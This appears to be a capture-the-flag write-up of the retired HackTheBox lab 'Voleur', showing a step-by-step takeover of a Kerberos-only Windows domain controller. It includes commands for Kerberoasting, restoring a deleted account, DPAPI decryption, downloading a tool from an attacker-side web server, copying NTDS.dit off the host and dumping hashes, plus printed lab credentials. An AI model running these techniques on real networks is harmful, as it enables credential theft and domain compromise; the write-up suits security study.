<h1 id="htb-voleur">HTB Voleur</h1>

<p><strong>Difficulty:</strong> Medium<br />
<strong>OS:</strong> Windows Server 2022 (Domain Controller) + WSL Ubuntu<br />
<strong>Platform:</strong> HackTheBox<br />
<strong>Category:</strong> Active Directory<br />
<strong>Status:</strong> Retired</p>

<hr />

<h2 id="overview">Overview</h2>

<p>Voleur is a Windows DC box where NTLM is completely disabled and every single tool needs Kerberos tickets(This was quite something for me and i really enjoyed this box). What makes this box stand out is that someone on the IT team stored a password-protected Excel spreadsheet on an internal share that documents every service account password, every user permission, and even notes about who to talk to for what. That spreadsheet is the blueprint for the entire chain. From there it’s Kerberoasting, tombstone restoration, DPAPI decryption, WSL pivot, and a secretsdump from a backup of NTDS.dit.</p>

<hr />

<h2 id="reconnaissance">Reconnaissance</h2>

<h3 id="starting-credentials">Starting Credentials</h3>

<p>Given: <code class="language-plaintext highlighter-rouge">ryan.naylor:HollowOct31Nyt</code></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nxc smb 10.129.232.130 <span class="nt">-u</span> <span class="s1">'ryan.naylor'</span> <span class="nt">-p</span> <span class="s1">'HollowOct31Nyt'</span> <span class="nt">--shares</span>
<span class="c"># STATUS_NOT_SUPPORTED</span>
</code></pre></div></div>

<p>NTLM is disabled domain-wide. Every interaction from here needs a Kerberos ticket.</p>

<h3 id="port-scan">Port Scan</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-sV</span> <span class="nt">-sC</span> <span class="nt">-T4</span> <span class="nt">-p-</span> <span class="nt">--min-rate</span> 10000 10.129.232.130
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PORT     STATE SERVICE
53/tcp   open  dns
88/tcp   open  kerberos-sec
389/tcp  open  ldap
445/tcp  open  microsoft-ds
2222/tcp open  OpenSSH 8.2p1 (Ubuntu)
5985/tcp open  WinRM
</code></pre></div></div>

<p>Port 2222 running Ubuntu SSH on a Windows DC is WSL (Windows Subsystem for Linux). Filed for later — that becomes the final pivot point.</p>

<hr />

<h3 id="kerberos-setup">Kerberos Setup</h3>

<p>Since NTLM is disabled, every tool needs proper Kerberos configuration and a valid TGT before it’ll do anything:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">"10.129.232.130 dc.voleur.htb voleur.htb dc"</span> | <span class="nb">sudo tee</span> <span class="nt">-a</span> /etc/hosts

<span class="nb">sudo tee</span> /etc/krb5.conf <span class="o">&lt;&lt;</span> <span class="sh">'</span><span class="no">EOF</span><span class="sh">'
[libdefaults]
 dns_lookup_kdc = false
 dns_lookup_realm = false
 default_realm = VOLEUR.HTB
[realms]
 VOLEUR.HTB = {
  kdc = dc.voleur.htb
  admin_server = dc.voleur.htb
  default_domain = voleur.htb
 }
[domain_realm]
 .voleur.htb = VOLEUR.HTB
 voleur.htb = VOLEUR.HTB
</span><span class="no">EOF

</span>faketime <span class="s1">'2026-06-26 00:36:00'</span> impacket-getTGT <span class="se">\</span>
  voleur.htb/ryan.naylor:<span class="s1">'HollowOct31Nyt'</span> <span class="nt">-dc-ip</span> 10.129.232.130

<span class="nb">export </span><span class="nv">KRB5CCNAME</span><span class="o">=</span>ryan.naylor.ccache
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">faketime</code> throughout because <code class="language-plaintext highlighter-rouge">ntpdate</code> kept syncing the clock but Kali reverted it. Wrapping individual commands is cleaner than fighting the system clock.</p>

<hr />

<h3 id="smb-enumeration-with-kerberos">SMB Enumeration with Kerberos</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>faketime <span class="s1">'2026-06-26 00:38:00'</span> nxc smb dc.voleur.htb <span class="nt">-k</span> <span class="nt">--use-kcache</span> <span class="nt">--shares</span>
</code></pre></div></div>

<p>Shares with READ access: Finance, HR, IT.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>faketime <span class="s1">'2026-06-26 00:39:00'</span> nxc smb dc.voleur.htb <span class="nt">-k</span> <span class="nt">--use-kcache</span> <span class="se">\</span>
  <span class="nt">--spider</span> IT <span class="nt">--regex</span> <span class="nb">.</span> <span class="nt">--depth</span> 3
</code></pre></div></div>
<p><img src="/assets/images/VOLEUR/spider.png" alt="spider" />
Found: <code class="language-plaintext highlighter-rouge">IT/First-Line Support/Access_Review.xlsx</code></p>

<hr />

<h2 id="the-blueprint--cracking-the-excel-file">The Blueprint — Cracking the Excel File</h2>

<h3 id="downloading-the-file">Downloading the File</h3>

<p>Standard smbclient with password auth fails because NTLM is disabled. nxc with <code class="language-plaintext highlighter-rouge">-k</code> handles Kerberos properly:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>faketime <span class="s1">'2026-06-26 00:58:00'</span> nxc smb dc.voleur.htb <span class="se">\</span>
  <span class="nt">-u</span> ryan.naylor <span class="nt">-p</span> <span class="s1">'HollowOct31Nyt'</span> <span class="nt">-d</span> voleur.htb <span class="nt">-k</span> <span class="se">\</span>
  <span class="nt">--share</span> IT <span class="nt">--get-file</span> <span class="s1">'First-Line Support\Access_Review.xlsx'</span> Access_Review.xlsx
</code></pre></div></div>

<h3 id="cracking-the-password">Cracking the Password</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>office2john Access_Review.xlsx <span class="o">&gt;</span> access.hash
john access.hash <span class="nt">--wordlist</span><span class="o">=</span>/usr/share/wordlists/rockyou.txt
<span class="c"># football1</span>
</code></pre></div></div>
<p><img src="/assets/images/VOLEUR/passwd.png" alt="Crack" /></p>

<p>Using LibreOffic Calc, we view the document</p>

<h3 id="whats-inside">What’s Inside</h3>
<p><img src="/assets/images/VOLEUR/excel.png" alt="Excel" /></p>

<p>The spreadsheet documented the entire support team structure, permissions, and credentials:</p>

<table>
  <thead>
    <tr>
      <th>User</th>
      <th>Role</th>
      <th>Notes</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>ryan.naylor</td>
      <td>First-Line Support</td>
      <td>Kerberos Pre-Auth disabled</td>
    </tr>
    <tr>
      <td>Todd.Wolfe</td>
      <td>Second-Line Support</td>
      <td>Leaver. Password: NightT1meP1dg3on14</td>
    </tr>
    <tr>
      <td>Jeremy.Combs</td>
      <td>Third-Line Support</td>
      <td>Has access to Software folder</td>
    </tr>
    <tr>
      <td>svc_ldap</td>
      <td>Service Account</td>
      <td>Password: M1XyC9pW7qT5Vn</td>
    </tr>
    <tr>
      <td>svc_iis</td>
      <td>Service Account</td>
      <td>Password: N5pXyW1VqM7CZ8</td>
    </tr>
    <tr>
      <td>svc_winrm</td>
      <td>Service Account</td>
      <td>Need to ask Lacey</td>
    </tr>
    <tr>
      <td>svc_backup</td>
      <td>Service Account</td>
      <td>Speak to Jeremy!</td>
    </tr>
  </tbody>
</table>

<p>This spreadsheet mapped every step. Whoever put this on a shared drive handed us the domain.</p>

<hr />

<h2 id="lateral-movement--kerberoasting-svc_winrm">Lateral Movement — Kerberoasting svc_winrm</h2>

<h3 id="bloodhound">BloodHound</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bloodhound-python <span class="nt">-d</span> voleur.htb <span class="nt">-u</span> <span class="s1">'ryan.naylor'</span> <span class="nt">-p</span> <span class="s1">'HollowOct31Nyt'</span> <span class="se">\</span>
  <span class="nt">-ns</span> 10.129.232.130 <span class="nt">-c</span> All <span class="nt">--zip</span>
</code></pre></div></div>

<p>Key finding: <code class="language-plaintext highlighter-rouge">svc_ldap</code> has <code class="language-plaintext highlighter-rouge">WriteSPN</code> over <code class="language-plaintext highlighter-rouge">svc_winrm</code>. Add an SPN to svc_winrm, Kerberoast it, crack offline.</p>

<h3 id="getting-svc_ldaps-tgt">Getting svc_ldap’s TGT</h3>

<p>NTLM disabled means we need a ticket even to modify AD objects:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>faketime <span class="s1">'2026-06-26 01:30:00'</span> impacket-getTGT <span class="se">\</span>
  voleur.htb/svc_ldap <span class="nt">-dc-ip</span> 10.129.232.130
<span class="c"># Password: M1XyC9pW7qT5Vn</span>
<span class="nb">export </span><span class="nv">KRB5CCNAME</span><span class="o">=</span>svc_ldap.ccache
</code></pre></div></div>

<h3 id="finding-the-correct-dn">Finding the Correct DN</h3>

<p>Service accounts aren’t always in <code class="language-plaintext highlighter-rouge">CN=Users</code>. Always verify before modifying:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>faketime <span class="s1">'2026-06-26 01:35:00'</span> bloodyad <span class="nt">-d</span> voleur.htb <span class="nt">-u</span> <span class="s1">'svc_ldap'</span> <span class="se">\</span>
  <span class="nt">-p</span> <span class="s1">'M1XyC9pW7qT5Vn'</span> <span class="nt">--host</span> dc.voleur.htb <span class="nt">-k</span> <span class="se">\</span>
  get object <span class="s1">'svc_winrm'</span> <span class="nt">--attr</span> <span class="s1">'*'</span>
<span class="c"># CN=svc_winrm,OU=Service Accounts,DC=voleur,DC=htb</span>
</code></pre></div></div>

<h3 id="adding-the-spn-and-kerberoasting">Adding the SPN and Kerberoasting</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>faketime <span class="s1">'2026-06-26 01:37:00'</span> bloodyad <span class="nt">-d</span> voleur.htb <span class="nt">-u</span> <span class="s1">'svc_ldap'</span> <span class="se">\</span>
  <span class="nt">-p</span> <span class="s1">'M1XyC9pW7qT5Vn'</span> <span class="nt">--host</span> dc.voleur.htb <span class="nt">-k</span> <span class="se">\</span>
  <span class="nb">set </span>object <span class="s1">'CN=svc_winrm,OU=Service Accounts,DC=voleur,DC=htb'</span> <span class="se">\</span>
  servicePrincipalName <span class="nt">-v</span> <span class="s1">'HTTP/fake.voleur.htb'</span>

faketime <span class="s1">'2026-06-26 01:39:00'</span> impacket-GetUserSPNs <span class="se">\</span>
  voleur.htb/svc_ldap <span class="nt">-k</span> <span class="nt">-no-pass</span> <span class="se">\</span>
  <span class="nt">-dc-ip</span> 10.129.232.130 <span class="nt">-dc-host</span> dc.voleur.htb <span class="se">\</span>
  <span class="nt">-request-user</span> svc_winrm
</code></pre></div></div>
<p><img src="/assets/images/VOLEUR/winrm-passwd.png" alt="wpasswd" /></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hashcat <span class="nt">-m</span> 13100 svc_winrm.hash /usr/share/wordlists/rockyou.txt <span class="nt">--force</span> <span class="nt">-O</span>
<span class="c"># AFireInsidedeOzarctica980219afi</span>
</code></pre></div></div>

<hr />

<h2 id="user-flag">User Flag</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>faketime <span class="s1">'2026-06-26 04:17:00'</span> impacket-getTGT <span class="se">\</span>
  voleur.htb/svc_winrm <span class="nt">-dc-ip</span> 10.129.232.130
<span class="nb">export </span><span class="nv">KRB5CCNAME</span><span class="o">=</span>svc_winrm.ccache

faketime <span class="s1">'2026-06-26 04:18:00'</span> evil-winrm <span class="nt">-i</span> dc.voleur.htb <span class="nt">-r</span> VOLEUR.HTB
</code></pre></div></div>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kr">type</span><span class="w"> </span><span class="n">C:\Users\svc_winrm\Desktop\user.txt</span><span class="w">
</span><span class="p">[</span><span class="n">REDACTED</span><span class="p">]</span><span class="w">
</span></code></pre></div></div>

<p><strong>User flag captured.</strong> ✅</p>

<hr />

<h2 id="lateral-movement--todds-tombstone-and-dpapi">Lateral Movement — Todd’s Tombstone and DPAPI</h2>

<h3 id="restoring-todd-from-the-ad-tombstone">Restoring Todd from the AD Tombstone</h3>

<p>BloodHound showed <code class="language-plaintext highlighter-rouge">svc_ldap</code> is in the “Restore Users” group, meaning it can restore deleted AD objects. Todd Wolfe was a leaver whose account was deleted — but his password is in the spreadsheet.</p>

<p><code class="language-plaintext highlighter-rouge">svc_ldap</code> can’t WinRM, but <code class="language-plaintext highlighter-rouge">svc_winrm</code> can. RunasCs lets us execute commands as <code class="language-plaintext highlighter-rouge">svc_ldap</code> from within the <code class="language-plaintext highlighter-rouge">svc_winrm</code> shell:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Invoke-WebRequest</span><span class="w"> </span><span class="nt">-Uri</span><span class="w"> </span><span class="s1">'http://10.10.16.32:8080/RunasCs.exe'</span><span class="w"> </span><span class="nt">-OutFile</span><span class="w"> </span><span class="s1">'RunasCs.exe'</span><span class="w">

</span><span class="o">.</span><span class="n">\RunasCs.exe</span><span class="w"> </span><span class="nx">svc_ldap</span><span class="w"> </span><span class="nx">M1XyC9pW7qT5Vn</span><span class="w"> </span><span class="s2">"whoami"</span><span class="w">
</span><span class="c"># voleur\svc_ldap</span><span class="w">

</span><span class="o">.</span><span class="n">\RunasCs.exe</span><span class="w"> </span><span class="nx">svc_ldap</span><span class="w"> </span><span class="nx">M1XyC9pW7qT5Vn</span><span class="w"> </span><span class="s2">"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command Get-ADObject -Filter 'isDeleted -eq </span><span class="se">`$</span><span class="s2">true' -IncludeDeletedObjects -Properties distinguishedName,Name -SearchBase 'CN=Deleted Objects,DC=voleur,DC=htb'"</span><span class="w">

</span><span class="o">.</span><span class="n">\RunasCs.exe</span><span class="w"> </span><span class="nx">svc_ldap</span><span class="w"> </span><span class="nx">M1XyC9pW7qT5Vn</span><span class="w"> </span><span class="s2">"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command Restore-ADObject 'CN=Todd Wolfe\0ADEL:1c6b1deb-c372-4cbb-87b1-15031de169db,CN=Deleted Objects,DC=voleur,DC=htb'"</span><span class="w">
</span></code></pre></div></div>
<p><img src="/assets/images/VOLEUR/rename.png" alt="RESURRECTION" /></p>

<p>Todd is back. Password from the spreadsheet: <code class="language-plaintext highlighter-rouge">NightT1meP1dg3on14</code></p>

<hr />

<h3 id="accessing-todds-archived-profile">Accessing Todd’s Archived Profile</h3>

<p>When users leave, their data gets archived before the account is deleted. Todd’s profile was copied to <code class="language-plaintext highlighter-rouge">IT/Second-Line Support/Archived Users/todd.wolfe/</code>. Windows stores encrypted credentials in two specific locations:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">AppData\Roaming\Microsoft\Credentials</code> — encrypted credential blobs</li>
  <li><code class="language-plaintext highlighter-rouge">AppData\Roaming\Microsoft\Protect\&lt;SID&gt;</code> — DPAPI master keys that decrypt them</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>faketime <span class="s1">'2026-06-26 04:25:00'</span> impacket-getTGT <span class="se">\</span>
  voleur.htb/todd.wolfe <span class="nt">-dc-ip</span> 10.129.232.130
<span class="c"># Password: NightT1meP1dg3on14</span>
<span class="nb">export </span><span class="nv">KRB5CCNAME</span><span class="o">=</span>todd.wolfe.ccache

faketime <span class="s1">'2026-06-26 04:25:00'</span> impacket-smbclient <span class="nt">-k</span> todd.wolfe@dc.voleur.htb
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt; use IT
&gt; cd Second-Line Support/Archived Users/todd.wolfe/AppData/Roaming/Microsoft/Credentials
&gt; get 772275FAD58525253490A9B0039791D3
&gt; cd ../Protect/S-1-5-21-3927696377-1337352550-2781715495-1110
&gt; get 08949382-134f-4c63-b93c-ce52efc0aa88
</code></pre></div></div>

<h3 id="decrypting-dpapi-credentials">Decrypting DPAPI Credentials</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>impacket-dpapi masterkey <span class="se">\</span>
  <span class="nt">-file</span> 08949382-134f-4c63-b93c-ce52efc0aa88 <span class="se">\</span>
  <span class="nt">-sid</span> S-1-5-21-3927696377-1337352550-2781715495-1110 <span class="se">\</span>
  <span class="nt">-password</span> NightT1meP1dg3on14

impacket-dpapi credential <span class="se">\</span>
  <span class="nt">-file</span> 772275FAD58525253490A9B0039791D3 <span class="se">\</span>
  <span class="nt">-key</span> 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83
</code></pre></div></div>
<p><img src="/assets/images/VOLEUR/dpapi.png" alt="DPAPI" />
Output: <code class="language-plaintext highlighter-rouge">jeremy.combs:qT3V9pLXyN7W4m</code></p>

<p>The spreadsheet said Jeremy has access to the Software folder and is the point of contact for <code class="language-plaintext highlighter-rouge">svc_backup</code>. That note just became a path to root.</p>

<hr />

<h2 id="privilege-escalation--wsl-and-ntds-backup">Privilege Escalation — WSL and NTDS Backup</h2>

<h3 id="jeremys-folder">Jeremy’s Folder</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>faketime <span class="s1">'2026-06-26 04:30:00'</span> impacket-getTGT <span class="se">\</span>
  voleur.htb/jeremy.combs <span class="nt">-dc-ip</span> 10.129.232.130
<span class="nb">export </span><span class="nv">KRB5CCNAME</span><span class="o">=</span>jeremy.combs.ccache

faketime <span class="s1">'2026-06-26 04:30:00'</span> evil-winrm <span class="nt">-i</span> dc.voleur.htb <span class="nt">-r</span> VOLEUR.HTB
</code></pre></div></div>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">cd</span><span class="w"> </span><span class="s2">"C:\IT\Third-Line Support"</span><span class="w">
</span><span class="kr">type</span><span class="w"> </span><span class="n">Note.txt</span><span class="w">
</span><span class="c"># "I've had enough of Windows Backup! I've part configured WSL..."</span><span class="w">
</span><span class="n">download</span><span class="w"> </span><span class="nx">id_rsa</span><span class="w">
</span></code></pre></div></div>
<p><img src="/assets/images/VOLEUR/ssh.png" alt="SSH" />
The note explains Admin was migrating from Windows Backup to Linux tools via WSL. Port 2222 from the initial nmap scan was the WSL SSH server. The SSH key was sitting right there.</p>

<h3 id="ssh-into-wsl">SSH into WSL</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">chmod </span>600 id_rsa
ssh <span class="nt">-i</span> id_rsa svc_backup@10.129.232.130 <span class="nt">-p</span> 2222
</code></pre></div></div>

<p>Linux shell. On a Windows DC. WSL mounts the Windows filesystem under <code class="language-plaintext highlighter-rouge">/mnt/c/</code> — the entire Windows drive is accessible from here.</p>

<h3 id="extracting-the-backup-files">Extracting the Backup Files</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cd</span> /mnt/c/IT/Third-Line<span class="se">\ </span>Support/Backups/
<span class="nb">ls</span>
<span class="c"># Active Directory/   registry/</span>
</code></pre></div></div>

<p>The NTDS.dit, SYSTEM, and SECURITY files from a Windows Backup were copied here during the migration to Linux tooling. Downloaded via SCP:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>scp <span class="nt">-i</span> id_rsa <span class="nt">-P</span> 2222 <span class="se">\</span>
  <span class="s2">"svc_backup@10.129.232.130:/mnt/c/IT/Third-Line</span><span class="se">\ </span><span class="s2">Support/Backups/registry/SECURITY"</span> ./SECURITY

scp <span class="nt">-i</span> id_rsa <span class="nt">-P</span> 2222 <span class="se">\</span>
  <span class="s2">"svc_backup@10.129.232.130:/mnt/c/IT/Third-Line</span><span class="se">\ </span><span class="s2">Support/Backups/registry/SYSTEM"</span> ./SYSTEM

scp <span class="nt">-i</span> id_rsa <span class="nt">-P</span> 2222 <span class="se">\</span>
  <span class="s2">"svc_backup@10.129.232.130:/mnt/c/IT/Third-Line</span><span class="se">\ </span><span class="s2">Support/Backups/Active</span><span class="se">\ </span><span class="s2">Directory/ntds.dit"</span> ./ntds.dit
</code></pre></div></div>

<h3 id="dumping-the-hashes">Dumping the Hashes</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>impacket-secretsdump <span class="nt">-ntds</span> ntds.dit <span class="nt">-system</span> SYSTEM <span class="nt">-security</span> SECURITY LOCAL
</code></pre></div></div>
<p><img src="/assets/images/VOLEUR/secret.png" alt="SECRET" /></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Administrator:500:aad3b435b51404eeaad3b435b51404ee:e656e07c56d831611b577b160b259ad2:::
</code></pre></div></div>

<hr />

<h2 id="root-flag">Root Flag</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>faketime <span class="s1">'2026-06-26 04:45:00'</span> impacket-getTGT <span class="se">\</span>
  voleur.htb/administrator <span class="se">\</span>
  <span class="nt">-hashes</span> :e656e07c56d831611b577b160b259ad2 <span class="se">\</span>
  <span class="nt">-dc-ip</span> 10.129.232.130
<span class="nb">export </span><span class="nv">KRB5CCNAME</span><span class="o">=</span>administrator.ccache

faketime <span class="s1">'2026-06-26 05:32:00'</span> evil-winrm <span class="nt">-i</span> dc.voleur.htb <span class="nt">-r</span> VOLEUR.HTB
</code></pre></div></div>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kr">type</span><span class="w"> </span><span class="n">C:\Users\Administrator\Desktop\root.txt</span><span class="w">
</span><span class="p">[</span><span class="n">REDACTED</span><span class="p">]</span><span class="w">
</span></code></pre></div></div>

<p><strong>Root flag captured. Domain pwned.</strong> ✅</p>

<hr />

<h2 id="full-attack-chain">Full Attack Chain</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ryan.naylor:HollowOct31Nyt (given)
  |
  Kerberos TGT -&gt; IT share -&gt; Access_Review.xlsx
  -&gt; crack (football1) -&gt; blueprint for entire chain
     |
     svc_ldap:M1XyC9pW7qT5Vn (from spreadsheet)
       |
       WriteSPN over svc_winrm -&gt; add SPN -&gt; Kerberoast
       -&gt; AFireInsidedeOzarctica980219afi
          |
          evil-winrm -&gt; USER FLAG
          |
          svc_ldap in "Restore Users" -&gt; RunasCs from svc_winrm shell
          -&gt; Restore Todd.Wolfe from tombstone (NightT1meP1dg3on14)
             |
             Todd's archived profile -&gt; DPAPI masterkey + credential blob
             -&gt; decrypt -&gt; jeremy.combs:qT3V9pLXyN7W4m
                |
                C:\IT\Third-Line Support\ -&gt; Note.txt + id_rsa
                -&gt; SSH svc_backup@WSL:2222
                   |
                   /mnt/c/ -&gt; NTDS.dit + SYSTEM + SECURITY
                   -&gt; secretsdump -&gt; Administrator hash -&gt; ROOT FLAG
</code></pre></div></div>

<hr />

<h2 id="credentials-found">Credentials Found</h2>

<table>
  <thead>
    <tr>
      <th>Username</th>
      <th>Password</th>
      <th>How Obtained</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>ryan.naylor</td>
      <td>HollowOct31Nyt</td>
      <td>Given</td>
    </tr>
    <tr>
      <td>svc_ldap</td>
      <td>M1XyC9pW7qT5Vn</td>
      <td>Excel spreadsheet</td>
    </tr>
    <tr>
      <td>svc_iis</td>
      <td>N5pXyW1VqM7CZ8</td>
      <td>Excel spreadsheet</td>
    </tr>
    <tr>
      <td>Todd.Wolfe</td>
      <td>NightT1meP1dg3on14</td>
      <td>Excel spreadsheet</td>
    </tr>
    <tr>
      <td>svc_winrm</td>
      <td>AFireInsidedeOzarctica980219afi</td>
      <td>Kerberoasting</td>
    </tr>
    <tr>
      <td>jeremy.combs</td>
      <td>qT3V9pLXyN7W4m</td>
      <td>DPAPI decryption</td>
    </tr>
    <tr>
      <td>Administrator</td>
      <td>e656e07c…</td>
      <td>NTDS.dit secretsdump</td>
    </tr>
  </tbody>
</table>

<h2 id="what-did-we-learn">What Did We Learn?</h2>

<p><strong>1. NTLM disabled means Kerberos for literally everything</strong><br />
Every tool needed <code class="language-plaintext highlighter-rouge">-k</code> flags, a valid TGT, and a proper <code class="language-plaintext highlighter-rouge">/etc/krb5.conf</code> before it would touch the domain. This is increasingly common in hardened enterprise environments. Getting comfortable with Kerberos-only auth is no longer optional.</p>

<p><strong>2. An internal spreadsheet can be a complete attack blueprint</strong><br />
Service account passwords, user permissions, and operational notes all in one password-protected Excel file on a readable share. The password protecting it was <code class="language-plaintext highlighter-rouge">football1</code>. Everything after cracking that file was execution, not discovery.</p>

<p><strong>3. Deleted AD objects are not gone</strong><br />
Tombstoned users persist in <code class="language-plaintext highlighter-rouge">CN=Deleted Objects</code> for a configurable period (default 180 days). If you know their password and someone has the Restore Users privilege, they come back. Todd’s archived profile surviving his account deletion led directly to Jeremy’s credentials.</p>

<p><strong>4. DPAPI secrets survive account deletion</strong><br />
Windows encrypts stored credentials with keys tied to the user’s password and SID. When an account is archived rather than wiped, the credential blobs and master keys in <code class="language-plaintext highlighter-rouge">AppData\Roaming\Microsoft</code> stay readable with the original password.</p>

<p><strong>5. The “Restore Users” group is a dangerous privilege</strong><br />
Membership lets you revive deleted objects, inheriting their old group memberships and permissions. It should be treated like a privileged group and audited accordingly.</p>

<p><strong>6. WSL blurs the Windows and Linux boundary completely</strong><br />
An SSH server on port 2222 running Ubuntu on a Windows DC gave us a Linux shell with full access to <code class="language-plaintext highlighter-rouge">C:\</code> through <code class="language-plaintext highlighter-rouge">/mnt/c/</code>. Backup files that were locked to Windows backup APIs became freely copyable via SCP from the WSL side. If WSL is running on a DC, assume the filesystem is accessible.</p>

<p><strong>7. faketime is more reliable than fighting ntpdate</strong><br />
Kali’s clock kept reverting after <code class="language-plaintext highlighter-rouge">ntpdate</code>. Wrapping Kerberos commands in <code class="language-plaintext highlighter-rouge">faketime</code> with the correct DC time bypassed the whole problem. For boxes with Kerberos-only auth, this becomes a workflow you need to have ready from the start.</p>

<hr />

<p><img src="https://media.giphy.com/media/v1.Y2lkPWVjZjA1ZTQ3eDVncXVlbmxocmhsa2I3ZHRma3BueXRkaXJvYzFib2pibDhpdDJqZiZlcD12MV9naWZzX3NlYXJjaCZjdD1n/bk8UGCysurqC2gmJ0o/giphy.gif" style="width: 100%; height: auto;" alt="pwned" /></p>

<table>
  <tbody>
    <tr>
      <td>*Written by 0x5h4q</td>
      <td><a href="https://0x5h4q.github.io">0x5h4q.github.io</a>*</td>
    </tr>
  </tbody>
</table>]]></content><author><name>0x5h4q</name></author><category term="HackTheBox" /><category term="Active Directory" /><category term="htb" /><category term="active-directory" /><category term="kerberos" /><category term="kerberoasting" /><category term="dpapi" /><category term="wsl" /><category term="tombstone-restoration" /><category term="excel-cracking" /><category term="ntds" /><category term="bloodhound" /><category term="windows" /><summary type="html"><![CDATA[]]></summary></entry></feed>